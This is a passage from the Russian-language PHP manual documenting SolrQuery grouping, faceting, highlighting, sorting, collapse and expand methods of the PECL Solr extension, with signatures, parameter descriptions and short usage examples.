  • SolrQuery::setGroupNGroups() - Если true, Solr включает в результаты количество групп, которые соответствуют запросу
  • SolrQuery::setGroupTruncate() - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
  • SolrQuery::setGroupFormat() - Устанавливает формат группы, структуру результата (параметр group.format)
  • SolrQuery::setGroupCachePercent() - Включает кеширование для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)

  • « SolrQuery::addGroupField
  • SolrQuery::addGroupQuery »
  • PHP Manual
  • SolrQuery
  • Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)

SolrQuery::addGroupFunction

(PECL solr >= 2.2.0)

SolrQuery::addGroupFunction — Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)

Описание

public SolrQuery::addGroupFunction(string $value): SolrQuery

Добавляет функцию группировки (параметр group.func) Позволяет группировать результаты на основе уникальных значений запроса функции.

Список параметров

value

Возвращаемые значения

SolrQuery

Смотрите также

  • SolrQuery::setGroup() - Включает/отключает группировку результатов (параметр group)
  • SolrQuery::addGroupField() - Добавляет поле, которое будет использоваться для группировки результатов
  • SolrQuery::addGroupQuery() - Позволяет группировать документы, соответствующие данному запросу
  • SolrQuery::addGroupSortField() - Добавляет поле сортировки группы (параметр group.sort)
  • SolrQuery::setGroupFacet() - Устанавливает параметр group.facet
  • SolrQuery::setGroupOffset() - Устанавливает параметр group.offset
  • SolrQuery::setGroupLimit() - Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
  • SolrQuery::setGroupMain() - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
  • SolrQuery::setGroupNGroups() - Если true, Solr включает в результаты количество групп, которые соответствуют запросу
  • SolrQuery::setGroupTruncate() - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
  • SolrQuery::setGroupFormat() - Устанавливает формат группы, структуру результата (параметр group.format)
  • SolrQuery::setGroupCachePercent() - Включает кеширование для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Позволяет группировать документы, соответствующие данному запросу

  • « SolrQuery::addGroupFunction
  • SolrQuery::addGroupSortField »
  • PHP Manual
  • SolrQuery
  • Позволяет группировать документы, соответствующие данному запросу

SolrQuery::addGroupQuery

(PECL solr >= 2.2.0)

SolrQuery::addGroupQuery — Позволяет группировать документы, соответствующие данному запросу

Описание

public SolrQuery::addGroupQuery(string $value): SolrQuery

Позволяет группировать документы, соответствующие данному запросу. Добавляет запрос в параметр group.query

Список параметров

value

Возвращаемые значения

SolrQuery

Смотрите также

  • SolrQuery::setGroup() - Включает/отключает группировку результатов (параметр group)
  • SolrQuery::addGroupField() - Добавляет поле, которое будет использоваться для группировки результатов
  • SolrQuery::addGroupFunction() - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
  • SolrQuery::addGroupSortField() - Добавляет поле сортировки группы (параметр group.sort)
  • SolrQuery::setGroupFacet() - Устанавливает параметр group.facet
  • SolrQuery::setGroupOffset() - Устанавливает параметр group.offset
  • SolrQuery::setGroupLimit() - Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
  • SolrQuery::setGroupMain() - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
  • SolrQuery::setGroupNGroups() - Если true, Solr включает в результаты количество групп, которые соответствуют запросу
  • SolrQuery::setGroupTruncate() - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
  • SolrQuery::setGroupFormat() - Устанавливает формат группы, структуру результата (параметр group.format)
  • SolrQuery::setGroupCachePercent() - Включает кеширование для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Добавляет поле сортировки группы (параметр group.sort)

  • « SolrQuery::addGroupQuery
  • SolrQuery::addHighlightField »
  • PHP Manual
  • SolrQuery
  • Добавляет поле сортировки группы (параметр group.sort)

SolrQuery::addGroupSortField

(PECL solr >= 2.2.0)

SolrQuery::addGroupSortField — Добавляет поле сортировки группы (параметр group.sort)

Описание

public SolrQuery::addGroupSortField(string $field, int $order = ?): SolrQuery

Позволяет сортировать групповые документы, используя поле сортировки группы (параметр group.sort).

Список параметров

field

Название поля

order

Направление сортировки ASC/DESC, используйте константы SolrQuery::ORDER_*

Возвращаемые значения

Примеры

Пример #1 Пример использования SolrQuery::addGroupSortField()

<?php

$solrQuery = new SolrQuery('*:*');
$solrQuery
->setGroup(true)
->addGroupSortField('price', SolrQuery::ORDER_ASC);

echo $solrQuery;
?>

Вывод приведённого примера будет похож на:

q=*:*&group=true&group.sort=price asc

Смотрите также

  • SolrQuery::setGroup() - Включает/отключает группировку результатов (параметр group)
  • SolrQuery::addGroupField() - Добавляет поле, которое будет использоваться для группировки результатов
  • SolrQuery::addGroupFunction() - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
  • SolrQuery::addGroupQuery() - Позволяет группировать документы, соответствующие данному запросу
  • SolrQuery::setGroupFacet() - Устанавливает параметр group.facet
  • SolrQuery::setGroupOffset() - Устанавливает параметр group.offset
  • SolrQuery::setGroupLimit() - Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
  • SolrQuery::setGroupMain() - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
  • SolrQuery::setGroupNGroups() - Если true, Solr включает в результаты количество групп, которые соответствуют запросу
  • SolrQuery::setGroupTruncate() - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
  • SolrQuery::setGroupFormat() - Устанавливает формат группы, структуру результата (параметр group.format)
  • SolrQuery::setGroupCachePercent() - Включает кеширование для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Соответствует hl.fl

  • « SolrQuery::addGroupSortField
  • SolrQuery::addMltField »
  • PHP Manual
  • SolrQuery
  • Соответствует hl.fl

SolrQuery::addHighlightField

(PECL solr >= 0.9.2)

SolrQuery::addHighlightField — Соответствует hl.fl

Описание

public SolrQuery::addHighlightField(string $field): SolrQuery

Соответствует hl.fl. Используется, чтобы указать, что выделенные фрагменты должны быть созданы для определённого поля.

Список параметров

field

Название поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает поле для использования для подобия

  • « SolrQuery::addHighlightField
  • SolrQuery::addMltQueryField »
  • PHP Manual
  • SolrQuery
  • Устанавливает поле для использования для подобия

SolrQuery::addMltField

(PECL solr >= 0.9.2)

SolrQuery::addMltField — Устанавливает поле для использования для подобия

Описание

public SolrQuery::addMltField(string $field): SolrQuery

Соответствует mlt.fl. Указывает, что поле должно использоваться для подобия.

Список параметров

field

Название поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Соответствует mlt.qf

  • « SolrQuery::addMltField
  • SolrQuery::addSortField »
  • PHP Manual
  • SolrQuery
  • Соответствует mlt.qf

SolrQuery::addMltQueryField

(PECL solr >= 0.9.2)

SolrQuery::addMltQueryField — Соответствует mlt.qf

Описание

public SolrQuery::addMltQueryField(string $field, float $boost): SolrQuery

Соответствует mlt.qf. Используется для указания полей запроса и их повышения.

Список параметров

field

Название поля

boost

Значение повышения

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Используется для управления сортировкой результатов

  • « SolrQuery::addMltQueryField
  • SolrQuery::addStatsFacet »
  • PHP Manual
  • SolrQuery
  • Используется для управления сортировкой результатов

SolrQuery::addSortField

(PECL solr >= 0.9.2)

SolrQuery::addSortField — Используется для управления сортировкой результатов

Описание

public SolrQuery::addSortField(string $field, int $order = SolrQuery::ORDER_DESC): SolrQuery

Используется для управления сортировкой результатов.

Список параметров

field

Название поля

order

Направление сортировки. Должно быть либо SolrQuery::ORDER_ASC, либо SolrQuery::ORDER_DESC.

Возвращаемые значения

Возвращает текущий объект SolrQuery.

User Contributed Notes

There are no user contributed notes for this page.


Запрашивает возврат вспомогательных результатов для значений в данном фасете

  • « SolrQuery::addSortField
  • SolrQuery::addStatsField »
  • PHP Manual
  • SolrQuery
  • Запрашивает возврат вспомогательных результатов для значений в данном фасете

SolrQuery::addStatsFacet

(PECL solr >= 0.9.2)

SolrQuery::addStatsFacet — Запрашивает возврат вспомогательных результатов для значений в данном фасете

Описание

public SolrQuery::addStatsFacet(string $field): SolrQuery

Запрашивает возврат вспомогательных результатов для значений в данном фасете. Соответствует полю stats.facet

Список параметров

field

Название поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Соответствует параметру stats.field

  • « SolrQuery::addStatsFacet
  • SolrQuery::collapse »
  • PHP Manual
  • SolrQuery
  • Соответствует параметру stats.field

SolrQuery::addStatsField

(PECL solr >= 0.9.2)

SolrQuery::addStatsField — Соответствует параметру stats.field

Описание

public SolrQuery::addStatsField(string $field): SolrQuery

Соответствует параметру stats.field. Метод добавляет ещё один параметр stats.field.

Список параметров

field

Название поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Сворачивает набор результатов до одного документа на группу

  • « SolrQuery::addStatsField
  • SolrQuery::__construct »
  • PHP Manual
  • SolrQuery
  • Сворачивает набор результатов до одного документа на группу

SolrQuery::collapse

(Информация о версии неизвестна, возможно, только в Git)

SolrQuery::collapse — Сворачивает набор результатов до одного документа на группу

Описание

public SolrQuery::collapse(SolrCollapseFunction $collapseFunction): SolrQuery

Сворачивает набор результатов в один документ для каждой группы, прежде чем он пересылает набор результатов остальным компонентам поиска.

Таким образом, все последующие компоненты (фасетирование, выделение и т.д.) будут работать со свёрнутым набором результатов.

Список параметров

collapseFunction

Возвращаемые значения

Возвращает текущий объект SolrQuery

Примеры

Пример #1 Пример использования SolrQuery::collapse()

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_PATH
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$collapseFunction = new SolrCollapseFunction('manu_id_s');

$collapseFunction
->setSize(2)
->setNullPolicy(SolrCollapseFunction::NULLPOLICY_IGNORE);

$query
->collapse($collapseFunction)
->setRows(4);

$queryResponse = $client->query($query);

$response = $queryResponse->getResponse();

print_r($response);

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [q] => *:*
                    [indent] => on
                    [fq] => {!collapse field=manu_id_s size=2 nullPolicy=ignore}
                    [rows] => 4
                    [version] => 2.2
                    [wt] => xml
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 14
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [id] => SP2514N
                            [name] => Array
                                (
                                    [0] => Samsung SpinPoint P120 SP2514N - hard drive - 250 GB - ATA-133
                                )

                            [manu] => Array
                                (
                                    [0] => Samsung Electronics Co. Ltd.
                                )

                            [manu_id_s] => samsung
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => 7200RPM, 8MB cache, IDE Ultra ATA-133
                                    [1] => NoiseGuard, SilentSeek technology, Fluid Dynamic Bearing (FDB) motor
                                )

                            [price] => Array
                                (
                                    [0] => 92
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [store] => Array
                                (
                                    [0] => 35.0752,-97.032
                                )

                            [_version_] => 1510294336412057600
                        )

                    [1] => SolrObject Object
                        (
                            [id] => 6H500F0
                            [name] => Array
                                (
                                    [0] => Maxtor DiamondMax 11 - hard drive - 500 GB - SATA-300
                                )

                            [manu] => Array
                                (
                                    [0] => Maxtor Corp.
                                )

                            [manu_id_s] => maxtor
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => SATA 3.0Gb/s, NCQ
                                    [1] => 8.5ms seek
                                    [2] => 16MB cache
                                )

                            [price] => Array
                                (
                                    [0] => 350
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 45.17614,-93.87341
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [_version_] => 1510294336449806336
                        )

                    [2] => SolrObject Object
                        (
                            [id] => F8V7067-APL-KIT
                            [name] => Array
                                (
                                    [0] => Belkin Mobile Power Cord for iPod w/ Dock
                                )

                            [manu] => Array
                                (
                                    [0] => Belkin
                                )

                            [manu_id_s] => belkin
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => connector
                                )

                            [features] => Array
                                (
                                    [0] => car power adapter, white
                                )

                            [weight] => Array
                                (
                                    [0] => 4
                                )

                            [price] => Array
                                (
                                    [0] => 19.95
                                )

                            [popularity] => Array
                                (
                                    [0] => 1
                                )

                            [inStock] => Array
                                (
                                    [0] =>
                                )

                            [store] => Array
                                (
                                    [0] => 45.18014,-93.87741
                                )

                            [manufacturedate_dt] => 2005-08-01T16:30:25Z
                            [_version_] => 1510294336458194944
                        )

                    [3] => SolrObject Object
                        (
                            [id] => MA147LL/A
                            [name] => Array
                                (
                                    [0] => Apple 60 GB iPod with Video Playback Black
                                )

                            [manu] => Array
                                (
                                    [0] => Apple Computer Inc.
                                )

                            [manu_id_s] => apple
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => music
                                )

                            [features] => Array
                                (
                                    [0] => iTunes, Podcasts, Audiobooks
                                    [1] => Stores up to 15,000 songs, 25,000 photos, or 150 hours of video
                                    [2] => 2.5-inch, 320x240 color TFT LCD display with LED backlight
                                    [3] => Up to 20 hours of battery life
                                    [4] => Plays AAC, MP3, WAV, AIFF, Audible, Apple Lossless, H.264 video
                                    [5] => Notes, Calendar, Phone book, Hold button, Date display, Photo wallet, Built-in games, JPEG photo playback, Upgradeable firmware, USB 2.0 compatibility, Playback speed control, Rechargeable capability, Battery level indication
                                )

                            [includes] => Array
                                (
                                    [0] => earbud headphones, USB cable
                                )

                            [weight] => Array
                                (
                                    [0] => 5.5
                                )

                            [price] => Array
                                (
                                    [0] => 399
                                )

                            [popularity] => Array
                                (
                                    [0] => 10
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 37.7752,-100.0232
                                )

                            [manufacturedate_dt] => 2005-10-12T08:00:00Z
                            [_version_] => 1510294336562003968
                        )

                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « SolrQuery::collapse
  • SolrQuery::__destruct »
  • PHP Manual
  • SolrQuery
  • Конструктор

SolrQuery::__construct

(PECL solr >= 0.9.2)

SolrQuery::__construct — Конструктор

Описание

public SolrQuery::__construct(string $q = ?)

Конструктор.

Список параметров

q

Дополнительный поисковый запрос

Возвращаемые значения

Ничего

Ошибки

Выбрасывает SolrIllegalArgumentException в случае передачи недопустимого параметра.

Список изменений

Версия | Описание
PECL solr 2.0.0 | Если q был недопустимым, выбрасывается исключение SolrIllegalArgumentException. Ранее выдавалась ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Деструктор

  • « SolrQuery::__construct
  • SolrQuery::getExpand »
  • PHP Manual
  • SolrQuery
  • Деструктор

SolrQuery::__destruct

(PECL solr >= 0.9.2)

SolrQuery::__destruct — Деструктор

Описание

public SolrQuery::__destruct()

Деструктор

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ничего.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает true, если включено расширение группы

  • « SolrQuery::__destruct
  • SolrQuery::getExpandFilterQueries »
  • PHP Manual
  • SolrQuery
  • Возвращает true, если включено расширение группы

SolrQuery::getExpand

(PECL solr >= 2.2.0)

SolrQuery::getExpand — Возвращает true, если включено расширение группы

Описание

public SolrQuery::getExpand(): bool

Возвращает true, если включено расширение группы

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает включено ли расширение группы или нет.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает запросы расширенного фильтра

  • « SolrQuery::getExpand
  • SolrQuery::getExpandQuery »
  • PHP Manual
  • SolrQuery
  • Возвращает запросы расширенного фильтра

SolrQuery::getExpandFilterQueries

(PECL solr >= 2.2.0)

SolrQuery::getExpandFilterQueries — Возвращает запросы расширенного фильтра

Описание

public SolrQuery::getExpandFilterQueries(): array

Возвращает запросы расширенного фильтра

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает запросы расширенного фильтра.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает параметр расширенного запроса expand.q

  • « SolrQuery::getExpandFilterQueries
  • SolrQuery::getExpandRows »
  • PHP Manual
  • SolrQuery
  • Возвращает параметр расширенного запроса expand.q

SolrQuery::getExpandQuery

(PECL solr >= 2.2.0)

SolrQuery::getExpandQuery — Возвращает параметр расширенного запроса expand.q

Описание

public SolrQuery::getExpandQuery(): array

Возвращает параметр расширенного запроса expand.q

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает расширенный запрос.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество строк, отображаемых в каждой группе (expand.rows)

  • « SolrQuery::getExpandQuery
  • SolrQuery::getExpandSortFields »
  • PHP Manual
  • SolrQuery
  • Возвращает количество строк, отображаемых в каждой группе (expand.rows)

SolrQuery::getExpandRows

(PECL solr >= 2.2.0)

SolrQuery::getExpandRows — Возвращает количество строк, отображаемых в каждой группе (expand.rows)

Описание

public SolrQuery::getExpandRows(): int

Возвращает количество строк, отображаемых в каждой группе (expand.rows)

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество строк.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив полей

  • « SolrQuery::getExpandRows
  • SolrQuery::getFacet »
  • PHP Manual
  • SolrQuery
  • Возвращает массив полей

SolrQuery::getExpandSortFields

(PECL solr >= 2.2.0)

SolrQuery::getExpandSortFields — Возвращает массив полей

Описание

public SolrQuery::getExpandSortFields(): array

Возвращает массив полей

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив полей.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение параметра фасета

  • « SolrQuery::getExpandSortFields
  • SolrQuery::getFacetDateEnd »
  • PHP Manual
  • SolrQuery
  • Возвращает значение параметра фасета

SolrQuery::getFacet

(PECL solr >= 0.9.2)

SolrQuery::getFacet — Возвращает значение параметра фасета

Описание

public SolrQuery::getFacet(): bool

Возвращает значение параметра фасета.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает логическое значение и null, если значение не установлено

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение параметра facet.date.end

  • « SolrQuery::getFacet
  • SolrQuery::getFacetDateFields »
  • PHP Manual
  • SolrQuery
  • Возвращает значение параметра facet.date.end

SolrQuery::getFacetDateEnd

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateEnd — Возвращает значение параметра facet.date.end

Описание

public SolrQuery::getFacetDateEnd(string $field_override = ?): string

Возвращает значение параметра facet.date.end. Метод принимает необязательное переопределение поля.

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает строку в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает все поля facet.date

  • « SolrQuery::getFacetDateEnd
  • SolrQuery::getFacetDateGap »
  • PHP Manual
  • SolrQuery
  • Возвращает все поля facet.date

SolrQuery::getFacetDateFields

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateFields — Возвращает все поля facet.date

Описание

public SolrQuery::getFacetDateFields(): array

Возвращает все поля facet.date

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает все поля facet.date в виде массива или null, если ничего не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение параметра facet.date.gap

  • « SolrQuery::getFacetDateFields
  • SolrQuery::getFacetDateHardEnd »
  • PHP Manual
  • SolrQuery
  • Возвращает значение параметра facet.date.gap

SolrQuery::getFacetDateGap

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateGap — Возвращает значение параметра facet.date.gap

Описание

public SolrQuery::getFacetDateGap(string $field_override = ?): string

Возвращает значение параметра facet.date.gap. Он принимает необязательное переопределение поля

Список параметров

field_override

Имя поля.

Возвращаемые значения

Возвращает строку в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение параметра facet.date.hardend

  • « SolrQuery::getFacetDateGap
  • SolrQuery::getFacetDateOther »
  • PHP Manual
  • SolrQuery
  • Возвращает значение параметра facet.date.hardend

SolrQuery::getFacetDateHardEnd

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateHardEnd — Возвращает значение параметра facet.date.hardend

Описание

public SolrQuery::getFacetDateHardEnd(string $field_override = ?): string

Возвращает значение параметра facet.date.hardend. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля.

Возвращаемые значения

Возвращает строку в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение параметра facet.date.other

  • « SolrQuery::getFacetDateHardEnd
  • SolrQuery::getFacetDateStart »
  • PHP Manual
  • SolrQuery
  • Возвращает значение параметра facet.date.other

SolrQuery::getFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateOther — Возвращает значение параметра facet.date.other

Описание

public SolrQuery::getFacetDateOther(string $field_override = ?): array

Возвращает значение параметра facet.date.other. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля.

Возвращаемые значения

Возвращает массив (array) в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает нижнюю границу первого диапазона дат для всех аспектов даты в этом поле

  • « SolrQuery::getFacetDateOther
  • SolrQuery::getFacetFields »
  • PHP Manual
  • SolrQuery
  • Возвращает нижнюю границу первого диапазона дат для всех аспектов даты в этом поле

SolrQuery::getFacetDateStart

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateStart — Возвращает нижнюю границу первого диапазона дат для всех аспектов даты в этом поле

Описание

public SolrQuery::getFacetDateStart(string $field_override = ?): string

Возвращает нижнюю границу первого диапазона дат для всех аспектов даты в этом поле. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает строку в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает все поля фасетов

  • « SolrQuery::getFacetDateStart
  • SolrQuery::getFacetLimit »
  • PHP Manual
  • SolrQuery
  • Возвращает все поля фасетов

SolrQuery::getFacetFields

(PECL solr >= 0.9.2)

SolrQuery::getFacetFields — Возвращает все поля фасетов

Описание

public SolrQuery::getFacetFields(): array

Возвращает все поля фасетов

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив всех полей и null, если ничего не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальное количество счётчиков ограничений, которое должно быть возвращено для полей фасета

  • « SolrQuery::getFacetFields
  • SolrQuery::getFacetMethod »
  • PHP Manual
  • SolrQuery
  • Возвращает максимальное количество счётчиков ограничений, которое должно быть возвращено для полей фасета

SolrQuery::getFacetLimit

(PECL solr >= 0.9.2)

SolrQuery::getFacetLimit — Возвращает максимальное количество счётчиков ограничений, которое должно быть возвращено для полей фасета

Описание

public SolrQuery::getFacetLimit(string $field_override = ?): int

Возвращает максимальное количество счётчиков ограничений, которое должно быть возвращено для полей фасета. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля, которое нужно переопределить

Возвращаемые значения

Возвращает целое число в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение параметра facet.method

  • « SolrQuery::getFacetLimit
  • SolrQuery::getFacetMinCount »
  • PHP Manual
  • SolrQuery
  • Возвращает значение параметра facet.method

SolrQuery::getFacetMethod

(PECL solr >= 0.9.2)

SolrQuery::getFacetMethod — Возвращает значение параметра facet.method

Описание

public SolrQuery::getFacetMethod(string $field_override = ?): string

Возвращает значение параметра facet.method. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает строку в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает минимальное количество полей аспектов, которые должны быть включены в ответ

  • « SolrQuery::getFacetMethod
  • SolrQuery::getFacetMissing »
  • PHP Manual
  • SolrQuery
  • Возвращает минимальное количество полей аспектов, которые должны быть включены в ответ

SolrQuery::getFacetMinCount

(PECL solr >= 0.9.2)

SolrQuery::getFacetMinCount — Возвращает минимальное количество полей аспектов, которые должны быть включены в ответ

Описание

public SolrQuery::getFacetMinCount(string $field_override = ?): int

Возвращает минимальное количество полей аспектов, которые должны быть включены в ответ. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает целое число в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее состояние параметра facet.missing

  • « SolrQuery::getFacetMinCount
  • SolrQuery::getFacetOffset »
  • PHP Manual
  • SolrQuery
  • Возвращает текущее состояние параметра facet.missing

SolrQuery::getFacetMissing

(PECL solr >= 0.9.2)

SolrQuery::getFacetMissing — Возвращает текущее состояние параметра facet.missing

Описание

public SolrQuery::getFacetMissing(string $field_override = ?): bool

Возвращает текущее состояние параметра facet.missing. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает логическое значение в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает смещение в списке ограничений, которые будут использоваться для постраничной навигации

  • « SolrQuery::getFacetMissing
  • SolrQuery::getFacetPrefix »
  • PHP Manual
  • SolrQuery
  • Возвращает смещение в списке ограничений, которые будут использоваться для постраничной навигации

SolrQuery::getFacetOffset

(PECL solr >= 0.9.2)

SolrQuery::getFacetOffset — Возвращает смещение в списке ограничений, которые будут использоваться для постраничной навигации

Описание

public SolrQuery::getFacetOffset(string $field_override = ?): int

Возвращает смещение в списке ограничений, которые будут использоваться для постраничной навигации. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля, которое требуется переопределить.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если смещение не установлено

User Contributed Notes

There are no user contributed notes for this page.


Возвращает префикс фасета

  • « SolrQuery::getFacetOffset
  • SolrQuery::getFacetQueries »
  • PHP Manual
  • SolrQuery
  • Возвращает префикс фасета

SolrQuery::getFacetPrefix

(PECL solr >= 0.9.2)

SolrQuery::getFacetPrefix — Возвращает префикс фасета

Описание

public SolrQuery::getFacetPrefix(string $field_override = ?): string

Возвращает префикс фасета

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает строку в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает все фасетные запросы

  • « SolrQuery::getFacetPrefix
  • SolrQuery::getFacetSort »
  • PHP Manual
  • SolrQuery
  • Возвращает все фасетные запросы

SolrQuery::getFacetQueries

(PECL solr >= 0.9.2)

SolrQuery::getFacetQueries — Возвращает все фасетные запросы

Описание

public SolrQuery::getFacetQueries(): array

Возвращает все фасетные запросы

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает тип сортировки фасета

  • « SolrQuery::getFacetQueries
  • SolrQuery::getFields »
  • PHP Manual
  • SolrQuery
  • Возвращает тип сортировки фасета

SolrQuery::getFacetSort

(PECL solr >= 0.9.2)

SolrQuery::getFacetSort — Возвращает тип сортировки фасета

Описание

public SolrQuery::getFacetSort(string $field_override = ?): int

Возвращает целое число (SolrQuery::FACET_SORT_INDEX или SolrQuery::FACET_SORT_COUNT)

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает целое число (SolrQuery::FACET_SORT_INDEX или SolrQuery::FACET_SORT_COUNT) в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает список полей, которые будут возвращены в ответе

  • « SolrQuery::getFacetSort
  • SolrQuery::getFilterQueries »
  • PHP Manual
  • SolrQuery
  • Возвращает список полей, которые будут возвращены в ответе

SolrQuery::getFields

(PECL solr >= 0.9.2)

SolrQuery::getFields — Возвращает список полей, которые будут возвращены в ответе

Описание

public SolrQuery::getFields(): array

Возвращает список полей, которые будут возвращены в ответе

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив запросов фильтра

  • « SolrQuery::getFields
  • SolrQuery::getGroup »
  • PHP Manual
  • SolrQuery
  • Возвращает массив запросов фильтра

SolrQuery::getFilterQueries

(PECL solr >= 0.9.2)

SolrQuery::getFilterQueries — Возвращает массив запросов фильтра

Описание

public SolrQuery::getFilterQueries(): array

Возвращает массив запросов фильтра. Это запросы, которые можно использовать для ограничения расширенного набора документов, которые могут быть возвращены, не влияя на оценку.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает true, если группировка включена

  • « SolrQuery::getFilterQueries
  • SolrQuery::getGroupCachePercent »
  • PHP Manual
  • SolrQuery
  • Возвращает true, если группировка включена

SolrQuery::getGroup

(PECL solr >= 2.2.0)

